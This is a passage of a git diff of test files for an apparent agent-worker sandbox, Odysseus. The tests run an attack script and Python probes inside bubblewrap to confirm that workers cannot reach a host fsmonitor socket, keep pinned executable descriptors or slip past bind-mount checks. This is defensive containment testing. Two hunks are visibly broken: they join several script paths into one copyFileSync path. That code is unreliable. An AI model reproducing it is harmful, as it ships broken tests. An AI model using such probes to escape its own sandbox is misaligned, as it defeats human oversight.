config=attackConfig.replace('"upstreamPort":0',`"upstreamPort":${upstream.port}`); + const replay=[...captured.slice(0,terminal),"/usr/bin/python3","-I","-S","-c",ATTACK_PY,config]; + const plan=nativeUnknownBoundary(replay,{cwd:brainPath,env:{...record.env}},undefined,true); + const at=plan.argv.indexOf(captured[0]!),normalized=plan.argv.slice(at),mask=plan.maskBinds; + const maskAt=normalized.findIndex((_,index)=>mask.every((word,offset)=>normalized[index+offset]===word)); + if(at<0||maskAt<0)throw Error("ONLY_O1_MASK_BINDS_MAY_CHANGE_PRODUCT_PLAN");normalized.splice(maskAt,mask.length); + if(JSON.stringify(normalized)!==JSON.stringify(replay))throw Error("PRODUCT_COMPANION_ARGV_DRIFT"); + const folder=join(root,`companion-${record.pid}`);mkdirSync(folder);writeFileSync(join(folder,"go"),"go\n",{mode:0o600}); + const ready=openSync(join(folder,"status"),"w",0o600),go=openSync(join(folder,"go"),"r"); + try{ + const child=Bun.spawn(plan.argv,{env:plan.env,stdin:"ignore",stdout:"pipe",stderr:"pipe",stdio:["ignore","pipe","pipe",ready,go]}); + const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + if(code!==0)throw Error("PRODUCT_COMPANION_FAILED: "+err); + const line=out.split("\n").find(line=>line.startsWith("ATTACK-RESULT "));if(!line)throw Error("REAL_PRODUCT_COMPANION_REPORT_REQUIRED"); + return {attack:JSON.parse(line.slice(14)),fromGuardSpawn:true,planMatches:true,namespaces:captured.filter(arg=>arg.startsWith("--unshare-")),serverNet:readlinkSync("/proc/self/ns/net")}; + }finally{closeSync(ready);closeSync(go);rmSync(folder,{recursive:true,force:true});} + } + const copiedViews=new WeakSet(); + const releaseCopiedTrees=observeCopiedFixtureTurnTrees(view=>typeof view==="object"&&view!==null&&copiedViews.has(view),()=>Promise.all(companions).then(()=>{})); const restrictedInputs = spyOn(startup, "prepareNativeWorkerStartupView").mockImplementation(async (brain, _manager, signal) => { - signal?.throwIfAborted(); return createFixtureWorkerStartupView(brain, { omitGit: true }); + signal?.throwIfAborted(); const view=createFixtureWorkerStartupView(brain, { omitGit: true });copiedViews.add(view);const cleanup=view.cleanup;view.cleanup=()=>{copiedViews.delete(view);return cleanup();};return view; }); const frames: Array> = []; const settled: unknown[] = []; @@ -222,10 +251,11 @@ async function server(): Promise { allowedTools: adapter === "claude" ? [shell, "Agent"] : [shell], systemPromptAppend: `${SNAPSHOT}: triage only; stage findings in scratch.`, signal: AbortSignal.timeout(watchdogMs(100_000)) }); } catch (error) { failure = { name: (error as Error).name, message: (error as Error).message }; } Bun.spawn = original.spawn; Bun.spawnSync = original.spawnSync; + const companionReports=await Promise.all(companions);observeCompanion(); const toolResults = frames.filter(f => f.type === "tool_result").map(f => ({ toolUseId: f.toolUseId, isError: f.isError, output: String(f.output ?? "") })); - writeFileSync(receiptPath, JSON.stringify({ requests, toolResults, settled, failure, result, spawned, principalId: principal.id, + writeFileSync(receiptPath, JSON.stringify({ requests, toolResults, companionReports,settled, failure, result, spawned, principalId: principal.id, frames: frames.filter(f => f.type === "error").map(f => ({ type: f.type, message: f.message, failure: f.failure })) })); - upstream.stop(true); restrictedInputs.mockRestore(); await nativeHost.close(); db.close(); + upstream.stop(true); releaseCopiedTrees(); restrictedInputs.mockRestore(); await nativeHost.close(); db.close(); // Release the native runtime's handles; the receipt is complete. rmSync(join(root, "pi-sessions"), { recursive: true, force: true }); process.exit(0); diff --git a/tests/helpers/test-invocation-fixture.ts b/tests/helpers/test-invocation-fixture.ts index 9b8201e47f..2e2b7175eb 100644 --- a/tests/helpers/test-invocation-fixture.ts +++ b/tests/helpers/test-invocation-fixture.ts @@ -10,7 +10,7 @@ export function invocationFixture(parent = tmpdir()) { write("bun.lock", "{}\n"); write(".gitignore", "node_modules/\npackages/*/dist/\ntmp/\n"); write("tsconfig.json", JSON.stringify({ compilerOptions: { target: "ES2019", module: "ESNext", moduleResolution: "Bundler", types: [], skipLibCheck: true } })); - for (const file of ["build.ts", "clean.ts", "build-execution.ts", "build-receipt.ts", "build-repeat-observation.ts", "bin-modes.ts", "publishable-packages.ts", "workspace-lease.mjs", "host-admission.mjs", "test.ts", "test-shards.ts", "test-shard-costs.json", "test-invocation.ts", "test-invocation-child.ts", "runtime-test-builds.ts", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "test-network-child-preload.ts", "unit-worker-entry.sh"]) { + for (const file of ["build.ts", "clean.ts", "build-execution.ts", "build-receipt.ts", "build-repeat-observation.ts", "bin-modes.ts", "publishable-packages.ts", "workspace-lease.mjs", "host-admission.mjs", "test.ts", "test-shards.ts", "test-shard-costs.json", "test-invocation.ts", "test-invocation-child.ts", "runtime-test-builds.ts", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-title-collector.ts", "native-shared-audit.ts", "test-network-child-preload.ts", "unit-worker-entry.sh"]) { write(`scripts/${file}`, readFileSync(join(source, "scripts", file), "utf8")); } for (const file of ["packages/core/tests/cli-harness.ts", "packages/ui-react/tests/fixtures/runtime-package-build.ts", "packages/ui-react/tests/fixtures/runtime-hook-phases.ts"]) write(file, readFileSync(join(source, file), "utf8")); diff --git a/tests/helpers/unit-worker-fixture.ts b/tests/helpers/unit-worker-fixture.ts index 5f822e8188..50dd56ee09 100644 --- a/tests/helpers/unit-worker-fixture.ts +++ b/tests/helpers/unit-worker-fixture.ts @@ -74,7 +74,7 @@ const stop=Date.now()+5000;while((!existsSync(join(shared,"built-1"))||!existsSy ${options.failBuild ? "process.exit(7);" : ""} mkdirSync("dist",{recursive:true});writeFileSync("dist/lease.json",JSON.stringify({lease:JSON.parse(process.env.BRAIN_WORKSPACE_LEASE),nonce:process.env.BRAIN_TEST_INVOCATION_NONCE}));writeFileSync("dist/ready.txt","Odysseus builds the raft.");receipt.packageEnd("raft",true);receipt.finish(0);\n`); for (const file of ["scripts/test.ts", "scripts/runtime-test-builds.ts", "scripts/test-invocation.ts", "scripts/test-invocation-child.ts", "scripts/publishable-packages.ts", - "scripts/workspace-lease.mjs", "scripts/host-admission.mjs", "scripts/test-shards.ts", "scripts/test-shard-costs.json", "scripts/test-network-preload.ts", "scripts/test-home.ts", "scripts/test-network-child-preload.ts", "scripts/test-network-guard.ts", "scripts/test-native-guard.ts", "scripts/native-test-receipts.ts", "scripts/native-device-diagnostics.ts", "scripts/native-exec-trace.ts", "packages/core/tests/cli-harness.ts"]) { + "scripts/workspace-lease.mjs", "scripts/host-admission.mjs", "scripts/test-shards.ts", "scripts/test-shard-costs.json", "scripts/test-network-preload.ts", "scripts/test-home.ts", "scripts/test-network-child-preload.ts", "scripts/test-network-guard.ts", "scripts/test-native-guard.ts", "scripts/native-test-receipts.ts", "scripts/native-device-diagnostics.ts", "scripts/native-exec-trace.ts", "scripts/native-runtime-pin.ts", "scripts/native-title-collector.ts", "scripts/native-shared-audit.ts", "packages/core/tests/cli-harness.ts"]) { write(file, readFileSync(join(source, file), "utf8")); } const files = ["odysseus", "penelope"].map(name => `tests/${name}.test.ts`); diff --git a/tests/local-checks.test.ts b/tests/local-checks.test.ts index 9323a52f26..7351c851e9 100644 --- a/tests/local-checks.test.ts +++ b/tests/local-checks.test.ts @@ -423,7 +423,7 @@ function importFixture() { const dir = fixture(); const root = join(import.meta.dir, ".."); mkdirSync(join(dir, "scripts")); - for (const helper of ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { + for (const helper of ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-title-collector.ts", "native-shared-audit.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { cpSync(join(root, "scripts", helper), join(dir, "scripts", helper)); } mkdirSync(join(dir, "packages/core/tests"), { recursive: true }); diff --git a/tests/native-copied-turn-tree.test.ts b/tests/native-copied-turn-tree.test.ts index 1b7ea6430d..d91fedf4ff 100644 --- a/tests/native-copied-turn-tree.test.ts +++ b/tests/native-copied-turn-tree.test.ts @@ -5,7 +5,7 @@ import {join} from "node:path"; import {bundledClaudeBinary} from "../packages/core/src/providers/agents/claude-binary"; import {spawnGuardFixture} from "./helpers/native-receipt-fixture"; const repo=join(import.meta.dir,".."); -for(const mode of ["valid","parent","swapped","closed","expired-view","foreign-scope","wrong-target","replaced"] as const)test(`copied fixture turn tree: ${mode}`,async()=>{ +for(const mode of ["valid","reinstalled-observer","shadowed-socket","missing-overlay","different-overlay","intervening-bind","parent","swapped","closed","expired-view","foreign-scope","wrong-target","replaced"] as const)test(`copied fixture turn tree: ${mode}`,async()=>{ const root=mkdtempSync("/tmp/odysseus-copied-role-"); const code=`import * as fs from "node:fs";import {join} from "node:path"; import {nativeScriptedService,nativeFixtureCopiedTurnTree,nativeWorkerBoundary} from ${JSON.stringify(join(repo,"scripts/test-native-guard.ts"))}; @@ -14,25 +14,42 @@ for(const mode of ["valid","parent","swapped","closed","expired-view","foreign-s import {workerCommand} from ${JSON.stringify(join(repo,"packages/ui-sdk/src/server/worker-launcher.ts"))}; import {WORKER_DATA_ROOT} from ${JSON.stringify(join(repo,"packages/ui-sdk/src/server/worker-sandbox.ts"))}; import {createFixtureWorkerStartupView} from ${JSON.stringify(join(repo,"packages/ui-sdk/tests/helpers/worker-startup-view-fixture.ts"))}; - const mode=${JSON.stringify(mode)},root=${JSON.stringify(root)},brain=join(root,"brain");fs.mkdirSync(brain);fs.writeFileSync(join(brain,"loom.md"),"Ithaca");const startupView=createFixtureWorkerStartupView(brain);let live=true; + const mode=${JSON.stringify(mode)},root=${JSON.stringify(root)},brain=join(root,"brain");fs.mkdirSync(brain);fs.writeFileSync(join(brain,"loom.md"),"Ithaca");const startupView=createFixtureWorkerStartupView(brain);let live=true,hostSocket; + if(["shadowed-socket","missing-overlay","different-overlay","intervening-bind"].includes(mode)){fs.mkdirSync(join(brain,".git"),{recursive:true});hostSocket=Bun.serve({unix:join(brain,".git/fsmonitor--daemon.ipc"),fetch:()=>new Response("UNSAFE_HOST_SOCKET")});} + const server=Bun.serve({hostname:"127.0.0.1",port:0,fetch:()=>new Response("Ithaca")}),leave=nativeScriptedService(server.url.origin,{fixtureRoots:[brain,root]}); const restore=mode==="parent"||mode==="swapped"?()=>{}:observeCopiedFixtureTurnTrees(view=>view===startupView&&live); + const restoreSecond=mode==="reinstalled-observer"?observeCopiedFixtureTurnTrees(view=>view===startupView&&live):()=>{}; let tree,foreign,plan;const original=Bun.spawnSync,which=Bun.which;Bun.which=(name,options)=>name==="strace"?"/synthetic/strace":which(name,options);Bun.spawnSync=(argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(original,Bun,[argv,options]);process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; try{ tree=await createTurnDataTree({brainPath:brain,view:startupView,maskPaths:[],mount:true,update:async()=>{}}); if(fs.readFileSync(join(tree.mount.root,"loom.md"),"utf8")!=="Ithaca")throw Error("REAL_FACTORY_BYTES_CHANGED"); if(mode==="parent"||mode==="swapped")nativeFixtureCopiedTurnTree(brain,startupView,mode==="parent"?{root:"/tmp",index:tree.mount.index}:{root:tree.mount.index,index:tree.mount.root},()=>live); const runtime=${JSON.stringify(bundledClaudeBinary())},env={HOME:root,PATH:"/usr/bin:/bin"},launch={brainPath:brain,startupView,command:[runtime],env},argv=workerCommand(launch); + if(hostSocket){ + const at=argv.indexOf("--");const overlay=mode==="different-overlay"?join(root,"other-view"):startupView.root;if(mode==="different-overlay")fs.mkdirSync(overlay); + argv.splice(at,0,"--ro-bind",brain,brain,...(mode==="intervening-bind"?["--ro-bind",brain,join(root,"alias")]:[]),...(mode==="missing-overlay"?[]:["--ro-bind",overlay,brain])); + } argv.splice(argv.indexOf("--"),0,"--ro-bind",tree.mount.root,mode==="wrong-target"?brain:WORKER_DATA_ROOT,"--ro-bind",tree.mount.index,join(WORKER_DATA_ROOT,".brain-index")); if(mode==="foreign-scope")foreign=nativeScriptedService(server.url.origin,{fixtureRoots:[brain,root]}); if(mode==="expired-view")live=false; if(mode==="replaced"){fs.renameSync(tree.mount.root,tree.mount.root+"-held");fs.mkdirSync(tree.mount.root);} plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({...launch,argv})});if(mode==="closed"){await tree.close();fs.mkdirSync(tree.mount.root);fs.mkdirSync(tree.mount.index);}plan.beforeLaunch(); const guarded=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv;fs.writeFileSync(guarded[guarded.indexOf("-o")+1],"1 execve("+JSON.stringify(runtime)+", [], 0x1) = 0\\n");plan.dispose();plan=undefined;console.log("EXACT_COPIED_TREE_ADMITTED"); - }finally{plan?.dispose();await tree?.close();if(tree?.mount)fs.rmSync(tree.mount.root+"-held",{recursive:true,force:true});if(mode==="closed"&&tree?.mount){fs.rmSync(tree.mount.root,{recursive:true,force:true});fs.rmSync(tree.mount.index,{recursive:true,force:true});}restore();foreign?.();leave();server.stop(true);startupView.cleanup();}`; + }finally{plan?.dispose();await tree?.close();if(tree?.mount)fs.rmSync(tree.mount.root+"-held",{recursive:true,force:true});if(mode==="closed"&&tree?.mount){fs.rmSync(tree.mount.root,{recursive:true,force:true});fs.rmSync(tree.mount.index,{recursive:true,force:true});}hostSocket?.stop(true);restoreSecond();restore();foreign?.();leave();server.stop(true);startupView.cleanup();}`; try{ const child=spawnGuardFixture([process.execPath,"-e",code]);const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); - if(mode==="valid"){expect(exit,err).toBe(0);expect(out,"REAL_COPIED_TREE_ADMITTED").toContain("EXACT_COPIED_TREE_ADMITTED");} - else{expect(exit,"UNTRUSTED_COPIED_TREE_REFUSED "+err).not.toBe(0);expect(out).not.toContain("EXACT_COPIED_TREE_ADMITTED");expect(err,"EXACT_COPIED_ROLE_CAUSED_REFUSAL").toContain("copied fixture turn tree declaration unavailable");} + if(["valid","reinstalled-observer","shadowed-socket"].includes(mode)){expect(exit,err).toBe(0);expect(out,"REAL_COPIED_TREE_ADMITTED").toContain("EXACT_COPIED_TREE_ADMITTED");} + else{expect(exit,"UNTRUSTED_COPIED_TREE_REFUSED "+err).not.toBe(0);expect(out).not.toContain("EXACT_COPIED_TREE_ADMITTED");expect(err,"EXACT_COPIED_ROLE_CAUSED_REFUSAL").toContain(["missing-overlay","different-overlay","intervening-bind"].includes(mode)?"fixture storage contains an unowned Unix socket":"copied fixture turn tree declaration unavailable");} }finally{rmSync(root,{recursive:true,force:true});} }); + +test("the real copied-brain view cannot reach the shadowed fsmonitor socket",async()=>{ + const root=mkdtempSync("/tmp/odysseus-shadow-view-"); + const script=`import * as fs from "node:fs";import {join} from "node:path";import {createFixtureWorkerStartupView} from ${JSON.stringify(join(repo,"packages/ui-sdk/tests/helpers/worker-startup-view-fixture.ts"))}; + const root=${JSON.stringify(root)},brain=join(root,"brain");fs.mkdirSync(brain);fs.mkdirSync(join(brain,".git"));fs.writeFileSync(join(brain,"loom.md"),"Ithaca");const view=createFixtureWorkerStartupView(brain,{omitGit:true});const path=join(brain,".git/fsmonitor--daemon.ipc");let hits=0;const socket=Bun.serve({unix:path,fetch(){hits++;return new Response("UNSAFE");}}); + try{const payload='import errno,os,socket,sys\\np=sys.argv[1]\\nassert not os.path.lexists(p),"SHADOWED_FSMONITOR_IS_VISIBLE"\\ns=socket.socket(socket.AF_UNIX,socket.SOCK_STREAM)\\ntry:\\n s.connect(p)\\n raise AssertionError("SHADOWED_FSMONITOR_IS_REACHABLE")\\nexcept OSError as e:\\n assert e.errno==errno.ENOENT\\nprint("SHADOWED_FSMONITOR_ABSENT_IN_REAL_VIEW")'; + const child=Bun.spawn(["bwrap","--unshare-user","--bind","/","/","--dev-bind","/dev","/dev","--ro-bind",brain,brain,"--ro-bind",view.root,brain,"--","/usr/bin/python3","-I","-S","-c",payload,path],{stdout:"pipe",stderr:"pipe"});const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]);if(code!==0)throw Error(err);if(!out.includes("SHADOWED_FSMONITOR_ABSENT_IN_REAL_VIEW")||hits)throw Error("REAL_VIEW_DID_NOT_HIDE_FSMONITOR");console.log(out); + }finally{socket.stop(true);view.cleanup();}`; + try{const child=spawnGuardFixture([process.execPath,"-e",script]);const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]);expect(code,err).toBe(0);expect(out).toContain("SHADOWED_FSMONITOR_ABSENT_IN_REAL_VIEW");}finally{rmSync(root,{recursive:true,force:true});} +}); diff --git a/tests/native-guard-copy-closure.test.ts b/tests/native-guard-copy-closure.test.ts index 82b376741a..0556fa801c 100644 --- a/tests/native-guard-copy-closure.test.ts +++ b/tests/native-guard-copy-closure.test.ts @@ -15,7 +15,7 @@ test("every copied offline guard includes its transitive relative import closure }); test("copy inventory rejects a missing transitive module in an otherwise complete list",()=>{ - const files=["test-network-guard.ts","test-native-guard.ts","native-device-diagnostics.ts","native-exec-trace.ts","workspace-lease.mjs"]; + const files=["test-network-guard.ts","test-native-guard.ts","native-device-diagnostics.ts","native-exec-trace.ts","native-runtime-pin.ts","native-title-collector.ts","native-shared-audit.ts","workspace-lease.mjs"]; const text=`const files=${JSON.stringify(files)};for(const file of files)copyFileSync(file,file);`; const lists=guardCopyLists("fixture-copy.ts",text);expect(lists).toHaveLength(1); expect(missingGuardImports(root,lists[0]!)).toEqual(["scripts/native-test-receipts.ts"]); diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index cff0488bc1..346d547a56 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -608,7 +608,7 @@ test("workspace SDK discovery works without root resolution and fails closed for writeFileSync(join(scratch, "packages/native/package.json"), JSON.stringify({ name: "odysseus-native", dependencies: { "@anthropic-ai/claude-agent-sdk": "*" } })); copyFileSync(join(ROOT, "scripts/test-native-guard.ts"), join(scratch, "scripts/test-native-guard.ts")); copyFileSync(join(ROOT,"scripts/native-test-receipts.ts"),join(scratch,"scripts/native-test-receipts.ts")); - copyFileSync(join(ROOT,"scripts/native-device-diagnostics.ts"),join(scratch,"scripts/native-device-diagnostics.ts"));copyFileSync(join(ROOT,"scripts/native-exec-trace.ts"),join(scratch,"scripts/native-exec-trace.ts")); + copyFileSync(join(ROOT,"scripts/native-device-diagnostics.ts"),join(scratch,"scripts/native-device-diagnostics.ts"));copyFileSync(join(ROOT,"scripts/native-exec-trace.ts", "scripts/native-runtime-pin.ts", "scripts/native-title-collector.ts", "scripts/native-shared-audit.ts"),join(scratch,"scripts/native-exec-trace.ts", "scripts/native-runtime-pin.ts", "scripts/native-title-collector.ts", "scripts/native-shared-audit.ts")); const link = join(scratch, "packages/native/node_modules/@anthropic-ai/claude-agent-sdk"); symlinkSync(dirname(sdk), link); const module = join(scratch, "scripts/test-native-guard.ts"); @@ -728,6 +728,39 @@ test("worker device-bind sources cannot expose an unregistered Unix socket", asy } finally { rmSync(scratch, { recursive: true, force: true }); } }); +test("unused cross-UID audit plans retain owner-only storage", async () => { + const scratch=mkdtempSync(join(tmpdir(),"odysseus-unused-audit-")); + try { + const result=await probe(`${imports} + import {auditNativeLaunch} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))}; + import {statSync} from "node:fs"; + const audit=auditNativeLaunch(["/usr/bin/true"],[],()=>{},2147483646); + const log=audit.argv[audit.argv.indexOf("-o")+1]; + if((statSync(log).mode&0o777)!==0o600||(statSync(log.slice(0,log.lastIndexOf("/"))).mode&0o777)!==0o700)throw Error("UNUSED_AUDIT_MUST_STAY_PRIVATE"); + console.error("UNUSED_AUDIT_PRIVATE");audit.dispose();`,scratch); + expect(result.output).toContain("UNUSED_AUDIT_PRIVATE"); + expect(result.output).not.toContain("native audit access isolation is unavailable"); + expect(result.output).not.toContain("UNUSED_AUDIT_MUST_STAY_PRIVATE"); + }finally{rmSync(scratch,{recursive:true,force:true});} +}); + +test("an unmapped audit UID refuses before payload spawn", async () => { + const scratch=mkdtempSync(join(tmpdir(),"odysseus-unmapped-audit-")); + try { + const result=await probe(`${imports} + import {auditNativeLaunch} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))}; + import {readFileSync,writeFileSync} from "node:fs"; + const mapped=readFileSync("/proc/self/uid_map","utf8").trim().split("\\n").map(line=>line.trim().split(/\\s+/).map(Number)); + const uid=4294967295; + if(mapped.some(([start,,count])=>uid>=start&&uid{},uid); + audit.beforeLaunch();writeFileSync(${JSON.stringify(join(scratch,"spawned"))},"unsafe");`,scratch); + expect(result.code).not.toBe(0); + expect(result.output).toContain('"reason":"native audit access isolation is unavailable"'); + expect(existsSync(join(scratch,"spawned"))).toBe(false); + }finally{rmSync(scratch,{recursive:true,force:true});} +}); + test("audit receipts reject writable evidence and replaced trace inodes", async () => { const scratch = mkdtempSync(join(tmpdir(), "odysseus-audit-integrity-")); try { diff --git a/tests/native-policy-artifact.test.ts b/tests/native-policy-artifact.test.ts index 3e421fb752..92e63c4111 100644 --- a/tests/native-policy-artifact.test.ts +++ b/tests/native-policy-artifact.test.ts @@ -47,7 +47,7 @@ test("an isolated preload without receipt libraries never prints raw diagnostic const root=mkdtempSync(join(tmpdir(),"odysseus-isolated-diagnostic-")); try{ mkdirSync(join(root,"scripts"));mkdirSync(join(root,"packages")); - writeFileSync(join(root,"package.json"),JSON.stringify({private:true}));copyFileSync(guard,join(root,"scripts/test-native-guard.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-test-receipts.ts"),join(root,"scripts/native-test-receipts.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-device-diagnostics.ts"),join(root,"scripts/native-device-diagnostics.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-exec-trace.ts"),join(root,"scripts/native-exec-trace.ts")); + writeFileSync(join(root,"package.json"),JSON.stringify({private:true}));copyFileSync(guard,join(root,"scripts/test-native-guard.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-test-receipts.ts"),join(root,"scripts/native-test-receipts.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-device-diagnostics.ts"),join(root,"scripts/native-device-diagnostics.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-exec-trace.ts"),join(root,"scripts/native-exec-trace.ts", "scripts/native-runtime-pin.ts", "scripts/native-title-collector.ts", "scripts/native-shared-audit.ts")); const script=join(root,"probe.ts"),secret="odysseus-private-diagnostic-material"; writeFileSync(script,`const original=Bun.spawnSync; Bun.spawnSync=((argv,options)=>argv[0]==="cc"?{exitCode:1,stdout:Buffer.alloc(0),stderr:Buffer.from(process.env.TEST_DIAGNOSTIC_SECRET)}:Reflect.apply(original,Bun,[argv,options])); diff --git a/tests/native-runtime-pin.test.ts b/tests/native-runtime-pin.test.ts new file mode 100644 index 0000000000..fe1108598e --- /dev/null +++ b/tests/native-runtime-pin.test.ts @@ -0,0 +1,51 @@ +import {expect,test} from "bun:test"; +import {copyFileSync,fstatSync,mkdtempSync,readFileSync,renameSync,rmSync,statSync,writeFileSync} from "node:fs"; +import {join} from "node:path"; +import {pinNativeWorkerExecutable} from "../scripts/native-runtime-pin"; +import {nativeWorkerClassification} from "../scripts/test-native-guard"; +import {watchdogMs} from "../scripts/test-deadlines"; +function fixture(){ + const root=mkdtempSync("/tmp/odysseus-runtime-pin-test-"),selected=join(root,"selected"),other=join(root,"other"),stub=join(root,"stub"); + const source=`#include \n#include \n#include \n#include \n#include \nint main(int argc,char **argv){if(argc!=3)return 80;struct stat fd;DIR *dir=opendir("/proc/self/fd");if(!dir)return 80;struct dirent *entry;while((entry=readdir(dir))){int i=atoi(entry->d_name);if(i>2&&!fstat(i,&fd)&&fd.st_dev==strtoull(argv[1],0,10)&&fd.st_ino==strtoull(argv[2],0,10)){puts("PINNED_DESCRIPTOR_LEAKED");return 81;}}closedir(dir);puts("PIN_EXECUTED_WITHOUT_DESCRIPTOR");return 0;}`; + for(const [file,text] of [[selected,source],[stub,'#include \nint main(void){puts("TRIPWIRE_STUB");return 126;}']]){ + const built=Bun.spawnSync(["cc","-static","-Os","-x","c","-","-o",file!],{stdin:Buffer.from(text!),stdout:"pipe",stderr:"pipe"});expect(built.exitCode,built.stderr.toString()).toBe(0); + }copyFileSync(selected,other);return {root,selected,other,stub,close(){rmSync(root,{recursive:true,force:true});}}; +} +async function settled(child:ReturnType){return {code:await child.exited,out:await new Response(child.stdout as ReadableStream).text(),err:await new Response(child.stderr as ReadableStream).text()};} +for(const mode of ["admitted","revoked","wrong-peer","replay"] as const)test(`pinned executable transfer: ${mode}`,async()=>{ + const f=fixture(),refusals:string[]=[];let live=true,keeper:ReturnType|undefined,owned:ReturnType|undefined; + const pin=pinNativeWorkerExecutable(f.selected,()=>{if(!live)throw Error("scripted authority revoked");},reason=>refusals.push(reason)); + try{ + const ready=join(f.root,"ready"); + keeper=Bun.spawn(["bwrap","--unshare-user","--bind","/","/","--ro-bind",f.stub,f.selected,"--ro-bind",f.stub,f.other,"--","/bin/sh","-c",'printf %s "$$" > "$1.tmp" && mv "$1.tmp" "$1"; while IFS= read -r which; do if [ "$which" = selected ]; then /bin/sh -c \'exec "$1"\' unknown "$2"; else "$3"; fi; printf "STATUS:%s\\n" "$?"; done',"keeper",ready,f.selected,f.other],{stdin:"pipe",stdout:"pipe",stderr:"pipe"}); + const deadline=Date.now()+watchdogMs(5000);let pid=0;while(!pid){try{pid=Number(readFileSync(ready,"utf8"));}catch{}if(Date.now()>deadline)throw Error("REAL_MASKED_KEEPER_READY_REQUIRED");await Bun.sleep(5);} + const stamp=statSync(f.selected),check='import hashlib,os,stat,sys\npath,expected,dev,ino=sys.argv[1:]\nassert hashlib.file_digest(open(path,"rb"),"sha256").hexdigest()==expected,"PROJECTED_RUNTIME_BYTES_MUST_MATCH_PIN"\nassert stat.S_IMODE(os.stat(path).st_mode)==0o555 and os.access(path,os.X_OK)\ntry:\n fd=os.open(path,os.O_WRONLY)\n os.close(fd)\n raise AssertionError("PROJECTED_EXECUTABLE_IS_READ_ONLY")\nexcept OSError as error:\n assert error.errno in (13,30)\nos.execv(path,[path,dev,ino])'; + const inner=["bwrap","--unshare-user","--bind","/","/",...pin.mount,"--","/usr/bin/python3","-I","-S","-c",check,f.selected,pin.hash,String(stamp.dev),String(stamp.ino)]; + const command=pin.wrap(["nsenter","--user","--mount","--preserve-credentials","--target",String(pid),"--",...inner]); + pin.beforeLaunch(); + if(mode==="wrong-peer"){owned=Bun.spawn(["/bin/sleep","60"],{stdout:"pipe",stderr:"pipe"});pin.afterSpawn(owned.pid);} + if(mode==="revoked")live=false; + const child=Bun.spawn(command,{stdout:"pipe",stderr:"pipe"});if(mode!=="wrong-peer")pin.afterSpawn(child.pid); + let retained=false;try{const now=fstatSync(pin.descriptor!),selected=statSync(f.selected);retained=now.dev===selected.dev&&now.ino===selected.ino;}catch{}expect(retained,"GUARD_CLOSES_PIN_AFTER_SPAWN").toBe(false); + const result=await settled(child); + if(mode==="admitted"||mode==="replay"){ + expect(result.code,JSON.stringify({result,refusals})).toBe(0);expect(pin.transferPeer,"CARRIER_EXECS_IN_THE_CALLER_PID").toBe(child.pid);expect(result.out,"NO_PINNED_FD_REACHES_PAYLOAD").toBe("PIN_EXECUTED_WITHOUT_DESCRIPTOR\n"); + const unknownArgv=["/bin/sh","-c",'exec "$1"',"unknown",f.selected]; + expect(nativeWorkerClassification(unknownArgv),"THE_KEEPER_PEER_IS_UNKNOWN").toBe("unknown"); + // The peers execute inside the original masked keeper, rather than + // acquiring a second namespace merely to inspect the first one. + const peer=async(which:string)=>{(keeper!.stdin as Bun.FileSink).write(which+"\n");const reader=(keeper!.stdout as ReadableStream).getReader();let out="";try{while(!out.includes("STATUS:")){const next=await reader.read();if(next.done)throw Error("MASKED_KEEPER_PEER_COMPLETES");out+=new TextDecoder().decode(next.value);}return {code:Number(/STATUS:([0-9]+)/.exec(out)![1]),out:out.split("STATUS:")[0]};}finally{reader.releaseLock();}}; + const another=await peer("other");expect(another.code,"OTHER_RUNTIME_REMAINS_MASKED").toBe(126); + const unknown=await peer("selected");expect(unknown.code,"UNKNOWN_LAUNCH_RETAINS_SELECTED_MASK").toBe(126);expect(unknown.out).toBe("TRIPWIRE_STUB\n"); + if(mode==="replay"){const replay=await settled(Bun.spawn(command,{stdout:"pipe",stderr:"pipe"}));expect(replay.code,"PIN_TRANSFER_IS_SINGLE_USE").not.toBe(0);expect(replay.out).not.toContain("PIN_EXECUTED");} + }else{expect(result.code,"UNAUTHORIZED_PEER_NEVER_GETS_PIN").not.toBe(0);expect(result.out).not.toContain("PIN_EXECUTED");expect(refusals.join(" ")).toContain(mode==="revoked"?"authority revoked":"peer mismatch");} + }finally{owned?.kill("SIGKILL");keeper?.kill("SIGKILL");pin.dispose();f.close();} +},watchdogMs(30000)); +test("pinned executable transfer refuses a replaced inode 